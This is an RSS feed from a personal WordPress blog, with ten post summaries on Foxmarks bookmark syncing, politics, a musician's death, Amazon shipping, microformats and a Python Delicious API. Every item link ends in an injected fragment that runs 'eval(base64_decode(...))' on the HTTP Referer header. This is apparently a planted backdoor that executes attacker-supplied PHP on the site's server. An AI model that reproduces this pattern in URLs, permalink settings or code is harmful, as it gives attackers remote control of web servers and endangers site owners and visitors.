<?xml version="1.0" encoding="UTF-8"?><rss version="0.92">
<channel>
	<title>Information Overload</title>
	<link>http://www.agulnick.com/blog</link>
	<description>All You Can Eat at the Blog Buffet</description>
	<lastBuildDate>Thu, 05 Feb 2009 05:48:25 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	<!-- generator="WordPress/3.1" -->

	<item>
		<title>Big Day for my Small Company</title>
		<description><![CDATA[My company, Foxmarks, was featured today in the Wall Street Journal in a column by Walt Mossberg, who covers personal technology for the Journal. The column, &#8220;Synchronizing Your Bookmarks on All Your PCs,&#8221; has some nice things to say about what we do, calling our Foxmarks a clever, well-done product that can help users of [...]]]></description>
		<link>http://www.agulnick.com/blog/2009/02/04/big-day-for-my-small-company/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Political Analogies</title>
		<description><![CDATA[I&#8217;m looking for additional options to round out the following: George W. Bush is to Albania as&#8230; Jerry Lewis is to France David Hasselhoff is to Germany &#8230; ? Feel free to submit your ideas for evaluation in the comments.]]></description>
		<link>http://www.agulnick.com/blog/2007/06/12/political-analogies/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Boston&#8217;s Brad Delp: 1951-2007</title>
		<description><![CDATA[I just learned that Brad Delp, vocalist for the band Boston, died in his home yesterday at age 55. Though I was only 9 years old when Boston&#8217;s eponymous album was released, I would still count that band in the top contributors to my musical coming of age, Aerosmith and The Beatles being the other [...]]]></description>
		<link>http://www.agulnick.com/blog/2007/03/10/bostons-brad-delp-1951-2007/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Understanding Iraq</title>
		<description><![CDATA[Joe Costello recently pointed me to this article. If you &#8212; like me &#8212; have been scratching your head for four years over why the US invaded Iraq, I think this essay provides a good framework for understanding. It&#8217;s an interesting read.]]></description>
		<link>http://www.agulnick.com/blog/2007/02/13/understanding-iraq/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Free shipping on amazon.com</title>
		<description><![CDATA[I like shopping on amazon &#8212; they&#8217;ve got a great selection and they&#8217;re super-reliable. But I am suspicious at how often my checkout tally comes out just below $25, which is the point at which their free shipping kicks in. Fear not! There&#8217;s a site that can help you find items on Amazon that cost [...]]]></description>
		<link>http://www.agulnick.com/blog/2007/01/14/free-shipping-on-amazoncom/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>It&#8217;s alive!</title>
		<description><![CDATA[Spurred on by Bob&#8217;s having blog-tagged me, I decided to dust off this WordPress installation and take it for a spin. That involved upgrading to the latest version of WordPress and, in the spirit of the New Year, grabbing a new theme, Ocadia. What do you think? The little swirly icon in the theme makes [...]]]></description>
		<link>http://www.agulnick.com/blog/2007/01/14/its-alive/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Anybody home?</title>
		<description><![CDATA[Percy Cabello has posted an interview with Mitch Kapor over at Mozilla Links, in which Mitch talks about Foxmarks, a project that he and I have been collaborating on. There&#8217;s a nod in that interview to this blog, which as you can see has been fairly dormant for months. So I thought I&#8217;d take this [...]]]></description>
		<link>http://www.agulnick.com/blog/2006/01/18/anybody-home/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Cringeley on Web 2.0</title>
		<description><![CDATA[Robert X. Cringeley writes about Web 2.0, focusing on the ideas of metacontent, distributed authorship, and aggregation. Too bad he doesn&#8217;t mention microformats, especially when he refers to &#8220;the Tower of Babel effect in which every metadata tagger can use his or her own tagging system, none of which are necessarily readable by the others&#8221;, [...]]]></description>
		<link>http://www.agulnick.com/blog/2005/06/30/cringeley-on-web-20/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Priming the Microformat Aggregation Pump</title>
		<description><![CDATA[The wonderful, liberating thing about microformats is that anyone, anywhere can author an instance. Whether you create by hand or use one of the ever-expanding set of tools, the fact that microformats are XHTML means that you can slip them &#8212; typically unnoticed by their host &#8212; into any system that accepts HTML. Planning an [...]]]></description>
		<link>http://www.agulnick.com/blog/2005/06/18/priming-the-microformat-aggregation-pump/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Python Interface to Delicious</title>
		<description><![CDATA[I wanted to start exploring the wealth of data that is contained in Delicious and thought I&#8217;d start by building a Python interface to the Delicious-supplied API&#8217;s. I found, of course, that someone had already built one. It was a bit out of date &#8212; there have been changes in Delicious&#8217; presentation since this library [...]]]></description>
		<link>http://www.agulnick.com/blog/2005/06/14/python-interface-to-delicious/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
</channel>
</rss>

